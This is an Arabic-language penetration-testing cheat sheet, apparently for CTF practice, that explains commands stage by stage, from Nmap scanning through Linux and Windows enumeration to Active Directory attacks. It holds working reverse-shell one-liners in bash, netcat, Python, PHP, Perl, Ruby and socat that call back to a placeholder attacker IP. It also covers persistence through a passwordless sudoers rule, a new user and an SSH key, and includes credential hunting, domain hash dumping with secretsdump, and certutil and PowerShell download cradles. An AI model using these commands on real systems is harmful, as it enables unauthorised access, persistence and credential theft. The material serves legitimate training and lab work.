مرجع عملي يجمع أهم الأوامر التي تتكرر خلال مراحل اختبار الاختراق للشبكات والأنظمة، من الاستطلاع وجمع المعلومات إلى التعداد والاستغلال وما بعد الاستغلال.
الهدف ليس حفظ عشرات الأوامر، بل معرفة الأمر المناسب لكل مرحلة، وفهم وظيفة كل باراميتر، ومتى تستخدمه، وما الذي تتوقع أن تحصل عليه من النتيجة.
#المتغيرات المستخدمة في الأمثلة
قبل أن تبدأ استبدل القيم التالية بما يناسب الهدف الذي تعمل عليه.
| المتغير | المعنى |
|---|---|
<TARGET_IP> | عنوان IP للجهاز الهدف |
<YOUR_IP> | عنوان جهازك الذي سيستقبل الاتصال أو يقدم الملفات |
<PORT> | رقم المنفذ |
<DOMAIN> | اسم الدومين مثل corp.local |
<DC> | اسم Domain Controller |
<USER> | اسم المستخدم |
<PASS> | كلمة المرور |
<HASH> | Hash خاص بكلمة مرور أو حساب |
<FILE> | اسم الملف |
<PATH> | مسار ملف أو مجلد |
<SHARE> | اسم SMB Share |
<SERVICE_NAME> | اسم خدمة Windows |
1. Nmap
Nmap غالبًا هو أول أداة تعطيك صورة حقيقية عن الهدف. الهدف من الفحص ليس فقط معرفة المنافذ المفتوحة بل ربط كل منفذ بخدمة وإصدار ثم تحويل هذه المعلومة إلى مسار Enumeration واضح.
#فحص سريع لكل المنافذ ثم فحص تفصيلي
ports=$(nmap -p- --min-rate=1000 -Pn -T4 <TARGET_IP> | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed 's/,$//')
nmap -p$ports -Pn -sC -sV <TARGET_IP>
هذا الأسلوب يقسم العمل إلى مرحلتين. الأولى تبحث عن المنافذ المفتوحة بسرعة والثانية تشغل فحصًا أعمق فقط على المنافذ التي ظهرت بدل إعادة فحص 65535 منفذًا بكل الـScripts.
#شرح الباراميترز
-p-يعني فحص كل منافذ TCP من 1 إلى 65535.--min-rate=1000يطلب من Nmap محاولة إرسال ما لا يقل عن 1000 Probe في الثانية عندما تسمح الظروف.-Pnيتعامل مع الجهاز على أنه متصل حتى لو لم يرد على Ping أو Host Discovery.-T4يستخدم Timing أسرع ومناسب عادة لبيئات CTF والشبكات المستقرة.-sCيشغل مجموعة الـNSE Scripts الافتراضية على الخدمات المكتشفة.-sVيحاول تحديد اسم الخدمة وإصدارها.-p$portsيفحص فقط قائمة المنافذ التي حفظناها داخل المتغيرports.
#ماذا يفعل الجزء الخاص بالـBash
grep '^[0-9]'
يحتفظ بالأسطر التي تبدأ برقم وغالبًا تكون أسطر المنافذ في خرج Nmap.
cut -d '/' -f 1
يقسم كل سطر باستخدام / ويأخذ الجزء الأول وهو رقم المنفذ.
tr '\n' ','
يحول كل سطر إلى قيمة مفصولة بفاصلة لتصبح النتيجة مثل 22,80,443,.
sed 's/,$//'
يحذف آخر فاصلة حتى تصبح القائمة صالحة لباراميتر -p.
#فحص افتراضي
nmap <TARGET_IP>
من دون باراميترز إضافية يفحص Nmap مجموعة المنافذ الشائعة ويجري Host Discovery قبل الفحص. هذا مناسب كبداية سريعة لكنه ليس بديلًا عن فحص كل المنافذ في CTF.
#فحص منافذ محددة
nmap -p 80,443,8080 <TARGET_IP>
-p يسمح لك بتحديد منافذ بعينها. استخدمه عندما تعرف مسبقًا أين توجد الخدمة أو عندما تريد إعادة الفحص بسرعة بعد اكتشاف منفذ مهم.
#فحص Range
nmap -p 1-1000 <TARGET_IP>
الشرطة داخل قيمة -p تحدد Range من المنافذ. هنا سيتم فحص المنافذ من 1 حتى 1000 فقط.
#Verbose Output
nmap -vv <TARGET_IP>
-v يزيد التفاصيل أثناء الفحص و-vv يزيدها أكثر. يفيد هذا في CTF لأنك ترى النتائج أثناء وصولها بدل انتظار نهاية الفحص بالكامل.
#حفظ النتائج بكل الصيغ
nmap -oA nmap_initial <TARGET_IP>
-oA يحفظ النتائج بثلاث صيغ أساسية في وقت واحد. ستحصل عادة على ملفات .nmap و.gnmap و.xml بنفس الاسم الأساسي.
#تشغيل NSE Script محدد
nmap --script=http-enum -p 80,443 <TARGET_IP>
--script يحدد NSE Script أو مجموعة Scripts. http-enum يبحث عن مسارات وموارد HTTP شائعة وقد يعطيك صفحات لم تكن ظاهرة من الصفحة الرئيسية.
#فحص Scripts ضمن فئة vuln
nmap --script=vuln <TARGET_IP>
vuln ليست ثغرة واحدة بل فئة من Scripts. النتيجة تحتاج قراءة وفهم لأن وجود Output مثير للاهتمام لا يعني دائمًا أن الهدف قابل للاستغلال مباشرة.
#ترتيب عملي بعد Nmap
إذا ظهر 22 فكر في SSH والحسابات والمفاتيح. إذا ظهر 80 أو 443 انتقل إلى Web Enumeration وإذا ظهر 445 ركز على SMB وإذا ظهر 3389 فكر في RDP وإذا ظهر LDAP أو Kerberos فهذا مؤشر قوي على Active Directory.
2. Linux Enumeration وPost Exploitation
بعد الدخول إلى Linux لا تبدأ بتغيير النظام مباشرة. اجمع معلومات عن المستخدم والصلاحيات والـServices والملفات القابلة للكتابة ثم قرر ما الذي يستحق الاختبار.
#تعديل /etc/hosts
echo "<TARGET_IP> <HOSTNAME>" | sudo tee -a /etc/hosts
هذا الأمر يضيف Mapping محلي بين IP وHostname. يفيد عندما يعتمد تطبيق أو Domain داخلي على اسم لا يستطيع DNS عندك حله.
#شرح الأجزاء
echoيطبع السطر الذي تريد إضافته.|يرسل الناتج إلى الأمر التالي.sudoيشغلteeبصلاحيات أعلى لأن/etc/hostsيحتاج صلاحيات كتابة مناسبة.teeيستقبل النص ويكتبه داخل ملف.-aيعني Append حتى لا يستبدل محتوى الملف بالكامل.
#مثال
echo "10.10.10.100 internal.lab.local" | sudo tee -a /etc/hosts
#التحقق
cat /etc/hosts | grep internal
cat يعرض الملف وgrep internal يفلتر الأسطر التي تحتوي كلمة internal.
#توليد Hash متوافق مع كلمات مرور Linux
openssl passwd -6 "YourPasswordHere"
الأمر يولد Password Hash بصيغة يمكن استخدامها في سيناريوهات Linux المناسبة. قيمة -6 تختار SHA-512 crypt.
#خيارات Hash
-6يستخدم SHA-512 crypt.-5يستخدم SHA-256 crypt.-1يستخدم MD5 crypt وهو Legacy ولا يفضل في الأنظمة الحديثة.
#إنشاء مستخدم باستخدام Hash
HASH=$(openssl passwd -6 "SecurePass123")
useradd -m -p "$HASH" -s /bin/bash ctfuser
HASH=$(...) ينفذ الأمر داخل الأقواس ويحفظ الناتج في متغير. useradd ينشئ المستخدم و-m ينشئ Home Directory و-p يستقبل Hash جاهزًا و-s يحدد Login Shell.
#إضافة Rule إلى sudoers
echo "ctfuser ALL=(ALL) NOPASSWD:ALL" | sudo tee -a /etc/sudoers
الصيغة تعني أن المستخدم ctfuser يمكنه تشغيل أوامر sudo كأي مستخدم دون طلب كلمة مرور. في CTF افهم أولًا كل جزء من Rule ولا تعدل sudoers عشوائيًا لأن خطأ بسيط في الصياغة قد يكسر sudo.
#SSH authorized_keys
mkdir -p ~/.ssh
echo "YOUR_PUBLIC_KEY" >> ~/.ssh/authorized_keys
chmod 700 ~/.ssh
chmod 600 ~/.ssh/authorized_keys
mkdir -p ينشئ المجلد إذا لم يكن موجودًا ولا يعطي Error إذا كان موجودًا. >> يضيف النص إلى نهاية الملف وchmod 700 يقيد مجلد .ssh وchmod 600 يسمح للمالك فقط بالقراءة والكتابة على authorized_keys.
#Cron Job
crontab -l
-l يعرض Cron Jobs الخاصة بالمستخدم الحالي. افحصها لأن Script يعمل دوريًا بصلاحيات أعلى قد يصبح طريقًا لتصعيد الصلاحيات إذا كان الملف نفسه قابلًا للكتابة.
cat /etc/crontab
هذا يعرض System Crontab وقد يبين المهام والمستخدم الذي ينفذ كل مهمة.
#أماكن كتابة شائعة
ls -ld /tmp /var/tmp /dev/shm
هذه المسارات غالبًا قابلة للكتابة للمستخدمين العاديين. لا تفترض الصلاحيات بل تحقق منها لأن إعدادات التحدي قد تكون مختلفة.
3. نقل الملفات على Linux
نقل الأدوات والنتائج جزء متكرر في CTF. اختر أبسط بروتوكول متاح ولا تضف تعقيدًا لا تحتاجه.
#تنزيل باستخدام wget
wget http://<YOUR_IP>/<FILE> -O /tmp/<FILE>
wget يطلب الملف عبر HTTP. -O يحدد اسم ومسار الملف الناتج بدل الاعتماد على الاسم القادم من URL.
#تنزيل باستخدام curl
curl http://<YOUR_IP>/<FILE> -o /tmp/<FILE>
curl يرسل طلب HTTP و-o بحرف صغير يحدد ملف الإخراج. لا تخلط بين -o و-O لأن -O في curl يستخدم اسم الملف البعيد كما هو.
#تقديم ملفات من الهدف أو من جهازك
python3 -m http.server 8000
-m يشغل Module بايثون كبرنامج وhttp.server هو HTTP Server مدمج. الرقم 8000 هو المنفذ وسيتم تقديم الملفات من Current Working Directory.
#Bind على Interface محدد
python3 -m http.server 8000 --bind 10.10.10.5
--bind يحدد عنوان الـInterface الذي سيستمع عليه السيرفر. يفيد إذا كان جهازك يملك أكثر من Network Interface وتريد منع الاستماع على البقية.
#تقديم مجلد محدد
cd /path/to/files && python3 -m http.server 8080
&& يشغل الأمر الثاني فقط إذا نجح الأول. النتيجة أن Python سيقدم محتوى /path/to/files على المنفذ 8080.
4. Python في CTF
Python ممتاز عندما تريد HTTP Server سريع أو تحويل بيانات أو إنشاء Socket أو تشغيل One-liner من دون كتابة Script كامل.
#معرفة الإصدار
python --version
python3 --version
وجود python لا يعني دائمًا Python 2 أو Python 3. افحص الإصدار قبل نسخ One-liner يعتمد على Syntax معينة.
#Base64 Encode
python3 -c 'import base64; print(base64.b64encode(b"string").decode())'
-c يخبر Python بتنفيذ الكود الموجود كسلسلة نصية. b64encode يحتاج Bytes ولذلك نستخدم b"string" ثم decode() يحول الناتج من Bytes إلى String قابلة للطباعة.
#Base64 Decode
python3 -c 'import base64; print(base64.b64decode("encoded_string").decode())'
b64decode يفك Base64 ثم decode() يحول الـBytes إلى نص. إذا كانت البيانات الأصلية Binary فلا تفترض أن decode() مناسب لها.
#تنزيل ملف باستخدام Python
python3 -c 'import urllib.request; urllib.request.urlretrieve("http://<YOUR_IP>/<FILE>", "/tmp/<FILE>")'
urllib.request يوفر وظائف HTTP في Python 3. urlretrieve يستقبل URL ثم المسار المحلي الذي سيكتب إليه الملف.
#FTP Server سريع باستخدام pyftpdlib
python3 -m pyftpdlib -p 2121 -w
هذا يحتاج Module باسم pyftpdlib مثبتًا مسبقًا. -p يحدد المنفذ و-w يسمح بالكتابة بدل جعل الجلسة Read Only.
#باراميترز مفيدة
-pيحدد Port.-wيسمح للعميل بالرفع والكتابة.-uيحدد Username عند إعداد حساب.-Pيحدد Password للحساب.
5. Reverse Shells
Reverse Shell تعني أن الجهاز الهدف يبدأ اتصالًا راجعًا إلى Listener عندك. قبل أي Payload تأكد من IP الصحيح وPort الصحيح وأن Listener يعمل وأن الشبكة تسمح بالاتصال.
#Listener باستخدام Netcat
nc -lvnp <PORT>
-lيجعل Netcat في وضع الاستماع.-vيعرض تفاصيل الاتصال.-nيمنع DNS Resolution ويستخدم العناوين الرقمية مباشرة.-pيحدد Local Port في نسخ Netcat التي تدعم هذا الشكل.
#Listener مع rlwrap
rlwrap nc -lvnp <PORT>
rlwrap يضيف Readline Features حول البرنامج مثل History وتحسين التعامل مع الأسهم في كثير من الحالات. هذا لا يحول الـShell وحده إلى TTY كاملة لكنه يجعل الاستخدام أريح.
#Bash عبر /dev/tcp
bash -i >& /dev/tcp/<YOUR_IP>/<PORT> 0>&1
bash -i يطلب Interactive Shell. /dev/tcp/HOST/PORT ميزة في Bash تفتح TCP Connection و>& يعيد توجيه Standard Output وStandard Error بينما 0>&1 يجعل Standard Input يأتي من نفس الاتصال.
#Bash داخل bash -c
bash -c 'bash -i >& /dev/tcp/<YOUR_IP>/<PORT> 0>&1'
-c يجعل Bash ينفذ String كاملة كأمر. يفيد عندما تكون أمام Command Injection أو مكان يقبل Command واحدة كسلسلة نصية.
#Netcat مع -e
nc <YOUR_IP> <PORT> -e /bin/bash
-e يطلب من بعض إصدارات Netcat تشغيل برنامج وربط Input وOutput بالاتصال. كثير من الإصدارات الحديثة لا تدعم هذا الخيار ولذلك لا تعتمد عليه دائمًا.
#Netcat بدون -e
rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/bash -i 2>&1 | nc <YOUR_IP> <PORT> > /tmp/f
mkfifo ينشئ Named Pipe. السلسلة تستخدم الـFIFO لتدوير Input وOutput بين Bash وNetcat حتى تعمل الجلسة بدون -e.
#Python 3 Reverse Shell
python3 -c 'import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<YOUR_IP>",<PORT>));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/bash")'
socket.AF_INET يعني IPv4 وsocket.SOCK_STREAM يعني TCP. connect() يبدأ الاتصال وos.dup2() يربط File Descriptor الخاص بالـSocket مع stdin وstdout وstderr ثم pty.spawn() يشغل Bash داخل PTY.
#PHP Reverse Shell
php -r '$sock=fsockopen("<YOUR_IP>",<PORT>);exec("/bin/bash -i <&3 >&3 2>&3");'
php -r ينفذ PHP Code مباشرة من سطر الأوامر. fsockopen ينشئ Socket وexec يشغل Bash مع إعادة توجيه الـFile Descriptor المناسب للاتصال.
#Perl Reverse Shell
perl -e 'use Socket;$i="<YOUR_IP>";$p=<PORT>;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");};'
perl -e ينفذ الكود مباشرة. الكود ينشئ TCP Socket ثم يعيد ربط Standard Streams بالـSocket ويشغل Bash.
#Ruby Reverse Shell
ruby -rsocket -e 'f=TCPSocket.open("<YOUR_IP>",<PORT>).to_i;exec sprintf("/bin/bash -i <&%d >&%d 2>&%d",f,f,f)'
-r socket يحمل مكتبة Socket و-e ينفذ الكود. TCPSocket.open ينشئ الاتصال ثم يتم استخدام File Descriptor مع Bash.
#Socat Reverse Shell
socat tcp:<YOUR_IP>:<PORT> exec:'bash -li',pty,stderr,setsid,sigint,sane
socat يربط نوعين من Streams. الطرف الأول اتصال TCP والطرف الثاني Bash مع مجموعة Options تحسن سلوك الـTTY والإشارات.
#شرح Options في Socat
ptyينشئ pseudo terminal.stderrيربط Standard Error بالقناة.setsidينشئ Session جديدة.sigintيسمح بتمرير SIGINT بشكل أفضل.saneيطبق إعدادات Terminal معقولة.
#Socat Listener
socat file:`tty`,raw,echo=0 tcp-listen:<PORT>
file:\tty`يربط Socat بالـTerminal الحالي.raw يقلل معالجة الإدخال المحلية وecho=0 يمنع تكرار الأحرف وtcp-listen` يفتح Listener على المنفذ.
6. ترقية Shell إلى Interactive TTY
الـReverse Shell الأولية غالبًا تكون محدودة. قد لا تعمل الأسهم أو Tab أو su وقد يقتل Ctrl+C الجلسة كاملة لذلك ترقية الـShell خطوة أساسية بعد الحصول على اتصال مستقر.
#أسرع خيار باستخدام script
script /dev/null -c bash
script ينشئ Terminal Session و/dev/null يمنع حفظ Transcript فعلي و-c bash يحدد الأمر الذي سيشغله داخل الجلسة.
#بديل script
script -qc /bin/bash /dev/null
-q يقلل الرسائل التي يطبعها script و-c يحدد Command. المسار /dev/null يستخدم كملف Transcript غير محفوظ.
#Python PTY
python3 -c 'import pty;pty.spawn("/bin/bash")'
pty.spawn() يشغل البرنامج داخل pseudo terminal. هذا يحسن الكثير من البرامج التفاعلية لكنه قد يحتاج ضبط Terminal محليًا للحصول على تجربة كاملة.
#Full TTY Upgrade
python3 -c 'import pty;pty.spawn("/bin/bash")'
بعدها اضغط Ctrl+Z لإرسال الـShell إلى الخلفية محليًا ثم نفذ.
stty raw -echo; fg
stty raw يجعل Terminal المحلي يمرر الأحرف بشكل Raw و-echo يمنع الطباعة المحلية المكررة. fg يعيد Job إلى Foreground.
بعد رجوع الاتصال نفذ.
reset
export TERM=xterm-256color
stty rows 38 columns 116
reset يعيد تهيئة Terminal وTERM يعرف نوع الطرفية للبرامج وstty rows وcolumns يضبطان الحجم حتى لا تنكسر برامج مثل vim أو less.
#افحص الأدوات المتاحة أولًا
which python python3 perl ruby lua script socat
which يبين أي Binary سيتم تشغيلها من PATH. هذا يوفر وقتك قبل تجربة One-liner غير ممكن لأن اللغة أو الأداة غير مثبتة.
7. Windows Enumeration
على Windows حاول بناء صورة منظمة عن النظام قبل أي تعديل. ابدأ بالمستخدم الحالي والصلاحيات ثم النظام والشبكة والعمليات والخدمات والملفات والـRegistry.
#معلومات النظام
systeminfo
ver
hostname
set
systeminfo يعرض معلومات واسعة عن Windows والـHotfixes والـDomain والذاكرة. ver يعرض إصدار النظام وhostname يعرض اسم الجهاز وset يعرض Environment Variables في CMD.
#المستخدم الحالي والصلاحيات
whoami
whoami /priv
whoami /groups
whoami يعرض المستخدم الحالي. /priv يعرض Privileges الموجودة في Token و/groups يعرض Groups وSIDs وحالتها.
#المستخدمون المحليون
net user
net user <USER>
الأمر الأول يعرض الحسابات المحلية والثاني يعطي تفاصيل حساب محدد. ابحث عن الحسابات غير المعتادة وأوقات تغيير كلمة المرور وعضوية المجموعات.
#المجموعات المحلية
net localgroup
net localgroup Administrators
الأول يعرض Local Groups والثاني يعرض أعضاء مجموعة Administrators. معرفة من يملك صلاحيات Admin تساعدك على فهم العلاقات بين الحسابات.
#مستخدمو الدومين
net user /domain
/domain يطلب المعلومات من Domain Controller بدل قاعدة الحسابات المحلية إذا كان الجهاز منضمًا للدومين وتسمح صلاحياتك بذلك.
#Domain Admins
net group "Domain Admins" /domain
net group يتعامل مع Domain Groups بينما net localgroup يتعامل مع Local Groups. /domain يحدد أن الاستعلام على الدومين.
8. Windows Network Enumeration
#IP Configuration
ipconfig /all
/all يعرض تفاصيل أوسع من ipconfig العادي مثل DNS Servers وDHCP وMAC Address وDNS Suffix. هذه التفاصيل مهمة لفهم الشبكة والدومين.
#الاتصالات والمنافذ
netstat -ano
-a يعرض الاتصالات والمنافذ المستمعة و-n يستخدم عناوين وأرقام بدل Resolve للأسماء و-o يضيف PID المرتبط بكل اتصال.
#Routing Table
route print
يعرض Routes الموجودة على الجهاز. في بيئات Pivoting قد يكشف لك Subnets داخلية لا تستطيع رؤيتها مباشرة من جهازك.
#ARP Cache
arp -a
يعرض IP إلى MAC mappings التي يعرفها الجهاز. هذا قد يعطيك فكرة سريعة عن أجهزة تواصل معها الهدف داخل نفس Layer 2 network.
#DNS Cache
ipconfig /displaydns
يعرض أسماء DNS الموجودة في Cache. أحيانًا يظهر Internal Hostnames لم ترها في أي مكان آخر.
#Shares محلية
net share
يعرض Shares التي يقدمها الجهاز. انتبه للـAdministrative Shares مثل C$ وADMIN$ ولا تخلط بينها وبين Shares خاصة بالتطبيقات.
9. Windows Files وACLs باستخدام icacls
icacls من أهم أوامر فهم File Permissions على Windows. في تحديات Privilege Escalation ابحث عن ملف ينفذه Process بصلاحيات أعلى بينما أنت تملك Write أو Modify عليه.
#فحص ملف أو مجلد
icacls <FILE_OR_FOLDER_PATH>
#أشهر أكواد الصلاحيات
| الكود | المعنى |
|---|---|
(F) | Full Control |
(M) | Modify |
(RX) | Read and Execute |
(R) | Read |
(W) | Write |
(D) | Delete |
Full Control أوسع من Modify لأنه يتضمن التحكم في Permissions وOwnership في سيناريوهات معينة. وجود (W) أو (M) على ملف حساس قد يكون أهم من امتلاك Read فقط.
#مثال على ملف Batch
icacls C:\Log-Management\job.bat
إذا كان job.bat يعمل من Scheduled Task بصلاحية أعلى وأنت تستطيع تعديله فهذه علاقة تستحق التحليل. لا يكفي أن يكون الملف Writable بل يجب أن تعرف من يشغله ومتى وبأي صلاحية.
#فحص Service Binary
icacls "C:\Program Files\<SERVICE_NAME>\service.exe"
استخدم Quotes لأن المسار يحتوي Spaces. ركز على المستخدم أو Group الذي تملكه وهل لديه (W) أو (M) أو (F).
#Startup Folder
icacls "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup"
الهدف هو فهم من يستطيع إضافة أو تعديل ملفات تبدأ مع تسجيل الدخول. اربط دائمًا الـACL بمن سيشغل الملف لاحقًا.
#Scheduled Task Scripts
icacls C:\Tasks\*.bat
icacls C:\Tasks\*.ps1
الـWildcard * يطابق عدة ملفات. فحص Scripts بهذه الطريقة أسرع من فتح كل ملف يدويًا في البداية.
10. Processes وServices على Windows
#عرض العمليات
tasklist
يعرض العمليات الحالية وPID والذاكرة. استخدمه لمعرفة التطبيقات والخدمات التي تعمل فعليًا بدل الاعتماد على الملفات الموجودة فقط.
#تفاصيل أكثر
tasklist /v
/v يعني Verbose ويضيف معلومات مثل Session Name وWindow Title وبعض تفاصيل المستخدم حسب السياق.
#إنهاء Process بالـPID
taskkill /PID <PID> /F
/PID يحدد Process ID و/F يجبر الإنهاء. في CTF لا تقتل Process عشوائيًا لأنك قد تسقط الخدمة الوحيدة التي تحتاجها.
#إنهاء Process بالاسم
taskkill /IM <PROCESS_NAME> /F
/IM يعني Image Name. إذا تكرر الاسم فقد تتأثر أكثر من Process حسب الصيغة المستخدمة.
#عرض الخدمات
sc query
sc هو Service Control Manager CLI وquery يعرض الخدمات وحالاتها.
#Configuration لخدمة
sc qc <SERVICE_NAME>
qc تعني Query Configuration. ركز على BINARY_PATH_NAME وSERVICE_START_NAME وStart Type لأن هذه القيم تحدد ماذا يعمل ومن يشغله.
#حالة خدمة
sc query <SERVICE_NAME>
هذا يعطيك State مثل RUNNING أو STOPPED. لا تخلط بين وجود الخدمة وبين كونها تعمل الآن.
#تشغيل وإيقاف خدمة
sc start <SERVICE_NAME>
sc stop <SERVICE_NAME>
تحتاج الصلاحيات المناسبة. في تحدي PrivEsc قد تملك صلاحية تعديل Service لكن لا تملك صلاحية Restart لذلك تحقق من الاثنين.
#تغيير Binary Path
sc config <SERVICE_NAME> binpath= "<PATH>"
في sc.exe توجد حساسية غريبة للمسافة بعد binpath=. الصيغة الصحيحة عادة تحتوي مسافة بعد علامة = قبل القيمة.
11. Credential Hunting على Windows
تعامل مع هذا القسم كعملية Enumeration للمعلومات المخزنة محليًا. ابحث عن Configs وSaved Credentials وAutoLogon لأن CTFs كثيرًا ما تضع Hint داخل مكان إداري طبيعي.
#AutoLogon في Registry
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"
reg query يقرأ Registry Key. ابحث عن قيم مثل DefaultUserName وDefaultDomainName وأي قيمة Password موجودة في التحدي.
#PuTTY Sessions
reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" /s
HKCU يعني Hive الخاص بالمستخدم الحالي. /s يعمل Recursively داخل Subkeys.
#البحث عن كلمة password في ملفات شائعة
findstr /si password *.txt *.xml *.ini *.config
/s يبحث داخل Subdirectories و/i يجعل البحث Case Insensitive. الـWildcards تقيد أنواع الملفات التي يتم فحصها.
#البحث عن Unattend Files
dir /s *unattend.xml
dir /s *sysprep.xml
dir /s يبحث داخل المجلد الحالي وكل Subdirectories. ملفات Deployment القديمة قد تحتوي إعدادات حساسة داخل بعض المختبرات.
#Saved Credentials
cmdkey /list
cmdkey يعرض Credentials المحفوظة في Windows Credential Manager التي يسمح السياق بعرضها. النتيجة قد تبين Target وUser حتى لو لم تعرض كلمة المرور نفسها.
12. Windows Privilege Escalation Checks
ركز على Misconfiguration يمكن إثباتها. الفكرة ليست تشغيل قائمة طويلة بل ربط كل Finding بعملية تعمل بصلاحيات أعلى.
#AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
/v يطلب Registry Value محددة بدل طباعة كل Key. هذه الحالة تكون مهمة عندما تكون القيمة مفعلة في كل من Machine وCurrent User.
#Scheduled Tasks
schtasks /query /fo LIST /v
/query يعرض Tasks و/fo LIST يغير Format إلى List و/v يضيف التفاصيل. راقب Task To Run والمستخدم ووقت التشغيل ومسار أي Script خارجي.
#Unquoted Service Paths
wmic service get name,pathname,displayname,startmode | findstr /i auto
wmic service get يطلب حقولًا معينة من الخدمات. findstr /i auto يفلتر الخدمات التي تحتوي كلمة Auto من دون حساسية لحالة الأحرف.
بعدها راجع أي pathname يحتوي Spaces ولا تحيطه Quotes. وجود Unquoted Path وحده لا يكفي بل تحتاج أيضًا صلاحية كتابة في جزء مناسب من المسار وسياق تشغيل يعطيك فائدة.
#PowerUp
Invoke-AllChecks
هذا Cmdlet يأتي عادة من PowerUp بعد تحميله داخل PowerShell Session. وظيفته تشغيل مجموعة Checks تساعدك على اكتشاف Misconfigurations بدل فحص كل شيء يدويًا.
13. Active Directory Enumeration من Windows
إذا كان الجهاز Domain Joined انتقل من التفكير بجهاز واحد إلى علاقات بين Users وGroups وComputers وTrusts.
#معلومات Workstation والدومين
net config workstation
يعرض معلومات مثل Computer Name وDomain أو Workgroup. هذه بداية سريعة لمعرفة Context الذي تعمل داخله.
#Domain Controllers
nltest /dclist:<DOMAIN>
nltest أداة Windows مدمجة لعمليات Trust وDomain Discovery. /dclist يطلب قائمة Domain Controllers للدومين المحدد.
#Domain Trusts
nltest /domain_trusts
يعرض Trust Relationships التي يعرفها النظام. في CTF متعدد الدومينات هذه المعلومة تحدد هل يوجد مسار Enumeration خارج الدومين الحالي.
#Shares على جهاز بعيد
net view \\<TARGET> /all
net view يعرض الموارد المشتركة على جهاز بعيد. /all يطلب تضمين Shares إضافية عندما تكون متاحة للسياق الحالي.
#ربط Share بحرف Drive
net use Z: \\<TARGET>\<SHARE>
net use ينشئ اتصال SMB ويعرضه كـDrive Letter. هذا يسهل التنقل والبحث داخل Share باستخدام أوامر Windows العادية.
#قطع الاتصال
net use Z: /delete
/delete يزيل الـMapping ولا يحذف Share نفسه.
14. BloodHound Collection
BloodHound يفيد عندما تصبح علاقات Active Directory كثيرة بحيث يصعب تتبعها يدويًا. أداة bloodhound-python تجمع البيانات ثم يمكنك استيراد ZIP الناتج إلى BloodHound لتحليل العلاقات والمسارات.
#Collection شامل
bloodhound-python --zip -c All -d "<DOMAIN>" -ns "<DNS_IP>" -dc "<DC>" -u "<USER>" -p "<PASS>"
#شرح الباراميترز
--zipيجمع ملفات JSON الناتجة داخل ZIP جاهز للاستيراد.-c Allيطلب كل Collection Methods المدعومة في هذا السياق بدل Method واحدة.-dيحدد Active Directory Domain.-nsيحدد DNS Server الذي ستستخدمه الأداة في Resolve للأسماء.-dcيحدد Domain Controller بالاسم.-uيحدد Username.-pيحدد Password.
#استخدام DNS عبر TCP
bloodhound-python \
-u '<USER>' \
-p '<PASS>' \
-d <DOMAIN> \
-dc <DC> \
-ns <DNS_IP> \
--dns-tcp \
-c All \
--zip
--dns-tcp يجبر DNS Queries على TCP بدل UDP. هذا قد يفيد في بعض الشبكات أو المختبرات عندما يكون UDP غير موثوق أو محجوبًا.
#ماذا تفعل إذا فشل Collection
ابدأ بفحص Resolve لاسم الدومين والـDC ثم تحقق من الوقت ثم Credentials ثم الاتصال بالمنافذ اللازمة. مشاكل BloodHound كثيرًا ما تكون DNS أو Time Skew أو Domain Name غير صحيح وليست مشكلة في BloodHound نفسها.
15. Impacket secretsdump.py في Active Directory CTF
secretsdump.py من Impacket ويستخدم لاستخراج أنواع مختلفة من Credential Material عندما تملك الصلاحية المطلوبة في المختبر. في سيناريو Domain Controller يوجد خيار مهم لتقييد العملية على بيانات الدومين.
#Dump خاص بالدومين
secretsdump.py -outputfile domain_hashes -just-dc <DOMAIN>/<USER>@<DC_IP>
#شرح الباراميترز
-outputfile domain_hashesيحدد Prefix لملفات الإخراج بدل الاعتماد على طباعة كل شيء في Terminal فقط.-just-dcيطلب بيانات NTDS الخاصة بالدومين من Domain Controller ولا يركز على بقية Secrets المحلية.<DOMAIN>/<USER>يحدد Domain Account المستخدم للمصادقة.@<DC_IP>يحدد الهدف الذي سيتم الاتصال به.
بعد تنفيذ الأمر قد يطلب منك Password إذا لم تمرر Credential بطريقة أخرى. في بيئات التدريب اقرأ أول أسطر Output لأنها توضح Method المستخدمة وأي خطأ في Authentication أو DRSUAPI أو Remote Registry.
#شكل NTLM Entry
DOMAIN\user:RID:LMHASH:NTHASH:::
RID هو Relative Identifier للحساب. LMHASH قد يكون قيمة ثابتة تشير إلى عدم وجود LM Hash فعلي وNTHASH هو NT Hash الذي يهم في كثير من تحديات Windows وAD.
16. RDP باستخدام xfreerdp3
بعد حصولك على Credentials قابلة لتسجيل الدخول عبر RDP يمكنك استخدام FreeRDP من Linux لفتح Session رسومية.
xfreerdp3 /v:<TARGET_IP> /u:<USER> /p:'<PASS>' /dynamic-resolution +clipboard
#شرح الباراميترز
/v:<TARGET_IP>يحدد Server أو Target الذي ستتصل به./u:<USER>يحدد Username./p:'<PASS>'يحدد Password ويفضل وضعها بين Quotes إذا احتوت رموزًا خاصة./dynamic-resolutionيجعل Resolution تتغير مع حجم نافذة العميل بدل تثبيتها على قيمة واحدة.+clipboardيفعل Clipboard Redirection بين جهازك والـRDP Session.
إذا كنت تعمل داخل Domain ويمكن للـUsername أن يلتبس مع Local User فاستخدم الصيغة المناسبة للدومين حسب بيئتك مثل DOMAIN\\user أو خيارات FreeRDP الخاصة بالدومين.
17. Windows File Transfer
#PowerShell WebClient
powershell -c "(New-Object System.Net.WebClient).DownloadFile('http://<YOUR_IP>/<FILE>','C:\Temp\<FILE>')"
powershell -c ينفذ Command ثم يخرج. New-Object System.Net.WebClient ينشئ WebClient وDownloadFile يأخذ Source URL ثم Destination Path.
#Invoke-WebRequest
powershell -c "iwr -uri http://<YOUR_IP>/<FILE> -outfile C:\Temp\<FILE>"
iwr Alias لـInvoke-WebRequest. -Uri يحدد URL و-OutFile يكتب الاستجابة مباشرة في ملف.
#Certutil
certutil -urlcache -f http://<YOUR_IP>/<FILE> C:\Temp\<FILE>
